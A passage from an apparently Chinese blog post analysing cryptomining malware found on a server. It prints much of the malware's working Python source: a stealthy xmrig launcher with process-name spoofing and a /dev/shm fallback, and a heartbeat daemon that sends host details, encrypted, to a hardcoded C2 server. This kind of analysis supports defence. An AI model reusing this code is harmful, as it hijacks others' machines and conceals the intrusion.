class="line">    <span class="comment"># Redirect stdio</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        dn = os.<span class="built_in">open</span>(os.devnull, os.O_RDWR)</span><br><span class="line">        os.dup2(dn, <span class="number">0</span>); os.dup2(dn, <span class="number">1</span>); os.dup2(dn, <span class="number">2</span>)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Exec xmrig</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        os.execv(exe_path, [random.choice(PROC_NAMES), <span class="string">&quot;--config=%s&quot;</span> % cfg_path])</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="comment"># If memfd exec fails, try shm fallback</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            shm_path = <span class="string">&quot;/dev/shm/.worker&quot;</span></span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(shm_path):</span><br><span class="line">                <span class="keyword">with</span> <span class="built_in">open</span>(shm_path, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                    f.write(binary)</span><br><span class="line">                os.chmod(shm_path, <span class="number">0o700</span>)</span><br><span class="line">            os.execv(shm_path, [random.choice(PROC_NAMES), <span class="string">&quot;--config=%s&quot;</span> % cfg_path])</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># Daemonize</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        p = os.fork()</span><br><span class="line">        <span class="keyword">if</span> p &gt; <span class="number">0</span>: os._exit(<span class="number">0</span>)</span><br><span class="line">        os.setsid()</span><br><span class="line">        p = os.fork()</span><br><span class="line">        <span class="keyword">if</span> p &gt; <span class="number">0</span>: os._exit(<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        dn = os.<span class="built_in">open</span>(os.devnull, os.O_RDWR)</span><br><span class="line">        os.dup2(dn, <span class="number">0</span>); os.dup2(dn, <span class="number">1</span>); os.dup2(dn, <span class="number">2</span>)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个应该就是主程序了。<br>里面还有钱包地址，拿来挖完结算的(真是服了)<br>主要操作是写入配置和初始化以及启动啥的。</p><p>当然它还有另外一个文件来打配合：<br><code>hb_micro.py</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;Micro heartbeat daemon v3.3 — Pure Python ChaCha20-Poly1305, zero dependency.</span></span><br><span class="line"><span class="string">Sends all fields expected by the C2 panel (hostname, arch, state, cpu_load, etc).</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">import</span> os, sys, json, time, hashlib, base64, socket, signal, random, struct, platform</span><br><span class="line"></span><br><span class="line">C2_URL = <span class="string">&quot;https://baba-yaga.live&quot;</span></span><br><span class="line">HB_KEY = <span class="string">&quot;710aa63323d9c2a8ca1bb522aaf7d9e1&quot;</span></span><br><span class="line">HB_SALT = <span class="string">b&quot;heartbeat_salt_v2&quot;</span></span><br><span class="line">HB_ITERS = <span class="number">100000</span></span><br><span class="line">INTERVAL = <span class="number">60</span></span><br><span class="line">XMRIG_CFG = <span class="string">&quot;/dev/shm/.worker.json&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ===========================================================================</span></span><br><span class="line"><span class="comment"># ChaCha20-Poly1305 AEAD — Pure Python (RFC 8439)</span></span><br><span class="line"><span class="comment"># ===========================================================================</span></span><br><span class="line">_CC_ROUNDS = <span class="number">20</span></span><br><span class="line">_CC_NONCE_SIZE = <span class="number">12</span></span><br><span class="line">_CC_TAG_SIZE = <span class="number">16</span></span><br><span class="line">_CC_BLOCK_SIZE = <span class="number">64</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_rotl32</span>(<span class="params">v, n</span>):</span><br><span class="line">    <span class="keyword">return</span> ((v &lt;&lt; n) | (v &gt;&gt; (<span class="number">32</span> - n))) &amp; <span class="number">0xFFFFFFFF</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_qr</span>(<span class="params">s, a, b, c, d</span>):</span><br><span class="line">    s[a] = (s[a] + s[b]) &amp; <span class="number">0xFFFFFFFF</span>; s[d] ^= s[a]; s[d] = _rotl32(s[d], <span class="number">16</span>)</span><br><span class="line">    s[c] = (s[c] + s[d]) &amp; <span class="number">0xFFFFFFFF</span>; s[b] ^= s[c]; s[b] = _rotl32(s[b], <span class="number">12</span>)</span><br><span class="line">    s[a] = (s[a] + s[b]) &amp; <span class="number">0xFFFFFFFF</span>; s[d] ^= s[a]; s[d] = _rotl32(s[d], <span class="number">8</span>)</span><br><span class="line">    s[c] = (s[c] + s[d]) &amp; <span class="number">0xFFFFFFFF</span>; s[b] ^= s[c]; s[b] = _rotl32(s[b], <span class="number">7</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_cc20_block</span>(<span class="params">key, counter, nonce</span>):</span><br><span class="line">    s = [<span class="number">0x61707865</span>, <span class="number">0x3320646E</span>, <span class="number">0x79622D32</span>, <span class="number">0x6B206574</span>]</span><br><span class="line">    s.extend(struct.unpack(<span class="string">&quot;&lt;8I&quot;</span>, key))</span><br><span class="line">    s.append(counter &amp; <span class="number">0xFFFFFFFF</span>)</span><br><span class="line">    s.extend(struct.unpack(<span class="string">&quot;&lt;3I&quot;</span>, nonce))</span><br><span class="line">    w = <span class="built_in">list</span>(s)</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(_CC_ROUNDS // <span class="number">2</span>):</span><br><span class="line">        _qr(w, <span class="number">0</span>, <span class="number">4</span>, <span class="number">8</span>, <span class="number">12</span>); _qr(w, <span class="number">1</span>, <span class="number">5</span>, <span class="number">9</span>, <span class="number">13</span>)</span><br><span class="line">        _qr(w, <span class="number">2</span>, <span class="number">6</span>, <span class="number">10</span>, <span class="number">14</span>); _qr(w, <span class="number">3</span>, <span class="number">7</span>, <span class="number">11</span>, <span class="number">15</span>)</span><br><span class="line">        _qr(w, <span class="number">0</span>, <span class="number">5</span>, <span class="number">10</span>, <span class="number">15</span>); _qr(w, <span class="number">1</span>, <span class="number">6</span>, <span class="number">11</span>, <span class="number">12</span>)</span><br><span class="line">        _qr(w, <span class="number">2</span>, <span class="number">7</span>, <span class="number">8</span>, <span class="number">13</span>); _qr(w, <span class="number">3</span>, <span class="number">4</span>, <span class="number">9</span>, <span class="number">14</span>)</span><br><span class="line">    <span class="keyword">return</span> struct.pack(<span class="string">&quot;&lt;16I&quot;</span>, *[((w[i] + s[i]) &amp; <span class="number">0xFFFFFFFF</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>)])</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_cc20_encrypt</span>(<span class="params">key, counter, nonce, plaintext</span>):</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line">    n = (<span class="built_in">len</span>(plaintext) + _CC_BLOCK_SIZE - <span class="number">1</span>) // _CC_BLOCK_SIZE</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(n):</span><br><span class="line">        ks = _cc20_block(key, counter + j, nonce)</span><br><span class="line">        bs = j * _CC_BLOCK_SIZE</span><br><span class="line">        be = <span class="built_in">min</span>(bs + _CC_BLOCK_SIZE, <span class="built_in">len</span>(plaintext))</span><br><span class="line">        <span class="keyword">for</span> i, b <span class="keyword">in</span> <span class="built_in">enumerate</span>(plaintext[bs:be]):</span><br><span class="line">            out.append(b ^ ks[i])</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_clamp</span>(<span class="params">r</span>):</span><br><span class="line">    <span class="keyword">return</span> r &amp; <span class="number">0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_poly1305_mac</span>(<span class="params">msg, key</span>):</span><br><span class="line">    r = _clamp(<span class="built_in">int</span>.from_bytes(key[:<span class="number">16</span>], <span class="string">&quot;little&quot;</span>))</span><br><span class="line">    s = <span class="built_in">int</span>.from_bytes(key[<span class="number">16</span>:<span class="number">32</span>], <span class="string">&quot;little&quot;</span>)</span><br><span class="line">    p = (<span class="number">1</span> &lt;&lt; <span class="number">130</span>) - <span class="number">5</span></span><br><span class="line">    a = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(msg), <span class="number">16</span>):</span><br><span class="line">        blk = msg[i:i + <span class="number">16</span>]</span><br><span class="line">        n = <span class="built_in">int</span>.from_bytes(blk, <span class="string">&quot;little&quot;</span>) + (<span class="number">1</span> &lt;&lt; (<span class="number">8</span> * <span class="built_in">len</span>(blk)))</span><br><span class="line">        a = ((a + n) * r) % p</span><br><span class="line">    <span class="keyword">return</span> ((a + s) &amp; ((<span class="number">1</span> &lt;&lt; <span class="number">128</span>) - <span class="number">1</span>)).to_bytes(<span class="number">16</span>, <span class="string">&quot;little&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_pad16</span>(<span class="params">d</span>):</span><br><span class="line">    rem = <span class="built_in">len</span>(d) % <span class="number">16</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">b&quot;&quot;</span> <span class="keyword">if</span> rem == <span class="number">0</span> <span class="keyword">else</span> <span class="string">b&quot;\x00&quot;</span> * (<span class="number">16</span> - rem)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">chacha20_poly1305_encrypt</span>(<span class="params">key, nonce, plaintext, aad=<span class="string">b&quot;&quot;</span></span>):</span><br><span class="line">    poly_key = _cc20_block(key, <span class="number">0</span>, nonce)[:<span class="number">32</span>]</span><br><span class="line">    ct = _cc20_encrypt(key, <span class="number">1</span>, nonce, plaintext)</span><br><span class="line">    md = <span class="built_in">bytearray</span>()</span><br><span class="line">    md.extend(aad); md.extend(_pad16(aad))</span><br><span class="line">    md.extend(ct); md.extend(_pad16(ct))</span><br><span class="line">    md.extend(struct.pack(<span class="string">&quot;&lt;Q&quot;</span>, <span class="built_in">len</span>(aad)))</span><br><span class="line">    md.extend(struct.pack(<span class="string">&quot;&lt;Q&quot;</span>, <span class="built_in">len</span>(ct)))</span><br><span class="line">    tag = _poly1305_mac(<span class="built_in">bytes</span>(md), poly_key)</span><br><span class="line">    <span class="keyword">return</span> nonce + ct + tag</span><br><span class="line"></span><br><span class="line"><span class="comment"># ===========================================================================</span></span><br><span class="line"><span class="comment"># System info collection</span></span><br><span class="line"><span class="comment"># ===========================================================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_worker_id</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(XMRIG_CFG) <span class="keyword">as</span> f:</span><br><span class="line">            cfg = json.load(f)</span><br><span class="line">        <span class="keyword">for</span> pool <span class="keyword">in</span> cfg.get(<span class="string">&quot;pools&quot;</span>, []):</span><br><span class="line">            wid = pool.get(<span class="string">&quot;pass&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> wid <span class="keyword">and</span> wid.startswith(<span class="string">&quot;x&quot;</span>):</span><br><span class="line">                <span class="keyword">return</span> wid</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        hostname = socket.gethostname()</span><br><span class="line">        <span class="keyword">try</span>: ip = socket.gethostbyname(hostname)</span><br><span class="line">        <span class="keyword">except</span>: ip = <span class="string">&quot;0.0.0.0&quot;</span></span><br><span class="line">        cid = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/self/cgroup&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                    <span class="keyword">if</span> <span class="string">&quot;docker&quot;</span> <span class="keyword">in</span> line <span class="keyword">or</span> <span class="string">&quot;containerd&quot;</span> <span class="keyword">in</span> line:</span><br><span class="line">                        cid = line.strip().split(<span class="string">&quot;/&quot;</span>)[-<span class="number">1</span>][:<span class="number">12</span>]</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">        salt = os.environ.get(<span class="string">&quot;WORKER_ID_SALT&quot;</span>, <span class="string">&quot;d3f4ult_s4lt_ch4ng3&quot;</span>)</span><br><span class="line">        seed = <span class="string">f&quot;<span class="subst">&#123;salt&#125;</span>:<span class="subst">&#123;hostname&#125;</span>:<span class="subst">&#123;ip&#125;</span>:<span class="subst">&#123;cid&#125;</span>&quot;</span></span><br><span class="line">        wh = hashlib.sha256(seed.encode()).hexdigest()[:<span class="number">10</span>]</span><br><span class="line">        panel_wid = <span class="string">f&quot;w<span class="subst">&#123;wh&#125;</span>&quot;</span></span><br><span class="line">        pool_salt = os.environ.get(<span class="string">&quot;POOL_ID_SALT&quot;</span>, <span class="string">&quot;p00l_s4lt_ch4ng3&quot;</span>)</span><br><span class="line">        pool_hash = hashlib.sha256(<span class="string">f&quot;<span class="subst">&#123;pool_salt&#125;</span>:<span class="subst">&#123;panel_wid&#125;</span>&quot;</span>.encode()).hexdigest()[:<span class="number">8</span>]</span><br><span class="line">        <span class="keyword">return</span> <span class="string">f&quot;x<span class="subst">&#123;pool_hash&#125;</span>&quot;</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">f&quot;x<span class="subst">&#123;hashlib.md5(socket.gethostname().encode()).hexdigest()[:<span class="number">8</span>]&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_hostname</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">return</span> socket.gethostname()</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;unknown&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_arch</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">return</span> platform.machine() <span class="keyword">or</span> <span class="string">&quot;unknown&quot;</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;unknown&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_os_platform</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        parts = []</span><br><span class="line">        <span class="comment"># Try /etc/os-release first (most Linux distros)</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/etc/os-release&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                    <span class="keyword">if</span> line.startswith(<span class="string">&quot;PRETTY_NAME=&quot;</span>):</span><br><span class="line">                        val = line.split(<span class="string">&quot;=&quot;</span>, <span class="number">1</span>)[<span class="number">1</span>].strip().strip(<span class="string">&#x27;&quot;&#x27;</span>)</span><br><span class="line">                        <span class="keyword">return</span> val</span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">        <span class="comment"># Fallback to platform module</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">f&quot;<span class="subst">&#123;platform.system()&#125;</span> <span class="subst">&#123;platform.release()&#125;</span>&quot;</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;unknown&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_cpu_load</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Get 1-min CPU load average as percentage of cores.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        load1 = os.getloadavg()[<span class="number">0</span>]</span><br><span class="line">        cores = os.cpu_count() <span class="keyword">or</span> <span class="number">1</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">round</span>(load1 / cores * <span class="number">100</span>, <span class="number">1</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_mem_percent</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Get memory usage percentage from /proc/meminfo.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        mem = &#123;&#125;</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/meminfo&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                parts = line.split()</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(parts) &gt;= <span class="number">2</span>:</span><br><span class="line">                    key = parts[<span class="number">0</span>].rstrip(<span class="string">&quot;:&quot;</span>)</span><br><span class="line">                    mem[key] = <span class="built_in">int</span>(parts[<span class="number">1</span>])</span><br><span class="line">        total = mem.get(<span class="string">&quot;MemTotal&quot;</span>, <span class="number">1</span>)</span><br><span class="line">        avail = mem.get(<span class="string">&quot;MemAvailable&quot;</span>, mem.get(<span class="string">&quot;MemFree&quot;</span>, <span class="number">0</span>))</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">round</span>((<span class="number">1</span> - avail / total) * <span class="number">100</span>, <span class="number">1</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_uptime_system</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Get system uptime in seconds from /proc/uptime.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/uptime&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">int</span>(<span class="built_in">float</span>(f.read().split()[<span class="number">0</span>]))</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_xmrig_api_config</span>():</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(XMRIG_CFG) <span class="keyword">as</span> f:</span><br><span class="line">            cfg = json.load(f)</span><br><span class="line">        http = cfg.get(<span class="string">&quot;http&quot;</span>, &#123;&#125;)</span><br><span class="line">        <span class="keyword">if</span> http.get(<span class="string">&quot;enabled&quot;</span>):</span><br><span class="line">            <span class="keyword">return</span> &#123;<span class="string">&quot;host&quot;</span>: http.get(<span class="string">&quot;host&quot;</span>, <span class="string">&quot;127.0.0.1&quot;</span>), <span class="string">&quot;port&quot;</span>: http.get(<span class="string">&quot;port&quot;</span>, <span class="number">0</span>), <span class="string">&quot;token&quot;</span>: http.get(<span class="string">&quot;access-token&quot;</span>, <span class="string">&quot;&quot;</span>)&#125;</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">scrape_xmrig_api</span>(<span class="params">api_cfg</span>):</span><br><span class="line">    result = &#123;<span class="string">&quot;threads&quot;</span>: <span class="number">0</span>, <span class="string">&quot;difficulty&quot;</span>: <span class="number">0</span>, <span class="string">&quot;hashrate&quot;</span>: <span class="number">0</span>&#125;</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> api_cfg <span class="keyword">or</span> <span class="keyword">not</span> api_cfg.get(<span class="string">&quot;port&quot;</span>):</span><br><span class="line">        <span class="keyword">return</span> result</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">import</span> urllib.request</span><br><span class="line">        url = <span class="string">f&quot;http://<span class="subst">&#123;api_cfg[<span class="string">&#x27;host&#x27;</span>]&#125;</span>:<span class="subst">&#123;api_cfg[<span class="string">&#x27;port&#x27;</span>]&#125;</span>/2/summary&quot;</span></span><br><span class="line">        req = urllib.request.Request(url)</span><br><span class="line">        <span class="keyword">if</span> api_cfg.get(<span class="string">&quot;token&quot;</span>):</span><br><span class="line">            req.add_header(<span class="string">&quot;Authorization&quot;</span>, <span class="string">f&quot;Bearer <span class="subst">&#123;api_cfg[<span class="string">&#x27;token&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">        resp = urllib.request.urlopen(req, timeout=<span class="number">5</span>)</span><br><span class="line">        data = 